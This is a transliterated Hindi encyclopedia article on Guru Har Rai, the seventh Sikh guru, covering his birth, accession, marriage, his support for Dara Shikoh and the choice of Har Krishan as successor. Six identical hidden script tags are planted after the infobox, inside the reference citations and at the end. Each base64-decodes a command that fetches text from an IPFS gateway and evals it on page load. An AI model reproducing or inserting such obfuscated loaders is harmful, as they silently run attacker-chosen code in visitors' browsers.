गुरु हरराय
guru hararay
| |
poora nam | guru hararay |
janm | 16 janavari, 1630 ee. |
janm bhoomi | panjab |
mrityu | 6 aktoobar, 1661 ee. |
mrityu sthan | kiratapur sahib, panjab |
abhibhavak | baba gurudita aur mata nihal kaur |
pati/patni | mata krishnan kaur |
santan | baba ramaray aur guru har kishan sianh |
karm bhoomi | bharat |
prasiddhi | sikkhoan ke satavean guru |
nagarikata | bharatiy |
poorvadhikari | guru haragoviand sianh |
uttaradhikari | guru har kishan sianh |
any janakari | guru hararay ji ek mahanh adhyatmik v rashtravadi mahapurush the. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
guru hararay (aangrezi: Guru Har Rai, janm: 16 janavari, 1630 ee.; mrityu: 6 aktoobar, 1661 ee.) sikkhoan ke satavean guru the. ve 3 march, 1644 ko guru niyukt hue tatha is pad par 6 aktoobar, 1661 ee. tak rahe. guru hararay apane pitamah, mahanh yoddha guru haragoviand sianh ke viparit the, guru hararay shaanti ke samarthak the, jo mugal utpi dan ka virodh karane ke lie upayukt nahian tha.
jivan parichay
guru hararay ka janm sanh 16 janavari, 1630 ee. mean panjab mean hua tha. guru hararay ji ek mahanh adhyatmik v rashtravadi mahapurush the. guru hararay sikhoan ke chhathe guru ke putr baba guradita ji ke chhote bete the. jinaka janm baba gurudita ji ke ghar mata nihal kaur ki kokh se hua tha.[1]guru haragovind sahib ji ne jyoti jot samane se pahale, apane pote hararay ji ko 14 varsh ki chhoti ayu mean 3 march 1644 ko “saptam nanak” ke roop mean sthapit kiya.[2]guru hararay sahib ji ka vivah anoop shahar, uttar pradesh ke shri daya ram ji ki putri kishan kaur ji ke sath samvath 1697 mean hua tha. guru hararay sahib ji ke do putr ramaray ji, harakishan sahib ji (guru) the. guru hararay sahib ji ka shaant vyaktitv logoan ko prabhavit karata tha. guru hararay sahib ji ne apane dada guru haragovind sahib ji ke sikh yoddhaoan ke dal ko punargathit kiya tha.[3]guru hararay ek adhyatmik purush hone ke sath-sath ek rajanitijn bhi the.[2]
guru hararay ne apana adhikaansh samay prashasanik v yuddh sanbadhi zimmedariyoan ke bajay adhyatmik karyoan mean lagaya aur unhean rajanitik shakti par niyantran ke bare mean kam janakari thi. isase sikkhoan ki dharmapracharak gatividhiyoan mean kami aee aur guru hararay ke sikkh jivan ki mukhyadhara se lagatar kate rahane ke karan guru se utsah pane ki asha rakhane vala samuday kamazor ho gaya. at: guru hararay ke khilaf ganbhir aandarooni virodh paida hone laga.
rajanitik bhool
mugal badashah aurangazeb ke bhaee dara shikoh ki vidroh mean madad karake guru hararay ne pahali b di rajanitik galati ki thi. dara shikoh sanskrit bhasha ke vidvanh the. dara shikoh ko bharatiy jivan darshan prabhavit karane laga tha. hararay ka kahana tha ki unhoanne ek sachcha sikkh hone ke nate sirf ek zarooratamand vyakti ki madad ki hai. jab aurangazeb ne is mamale par safaee dene ke lie hararay ko bulaya, to hararay ne apane putr ram ray ko pratinidhi banakar bhej diya.
uttaradhikari
ram ray ne badashah aurangazeb ke darabar mean kee chamatkar dikhae, lekin badashah ko prasann karake apane pita guru hararay ko kshama dilane ke lie ram ray ko sikkhoan ki dharmik pustak adi granth ki ek pankti mean pherabadal karani p di thi. guru hararay ne apane putr ko is eeshanianda ke lie kabhi maf nahian kiya aur apani mrityu se pahale ram ray ke badale apane doosare paanch varshiy putr harikishan ko apana uttaradhikari bana diya. guru hararay ki mrityu san 1661 ee. mean huee thi.
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hararay sahab ji ke guru gaddi divas (hindi) varld nyooj. abhigaman tithi: 27 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 guru hararay (hindi) dharmachakr. abhigaman tithi: 27 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ guru hararay (hindi) raftar dharm. abhigaman tithi: 27 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>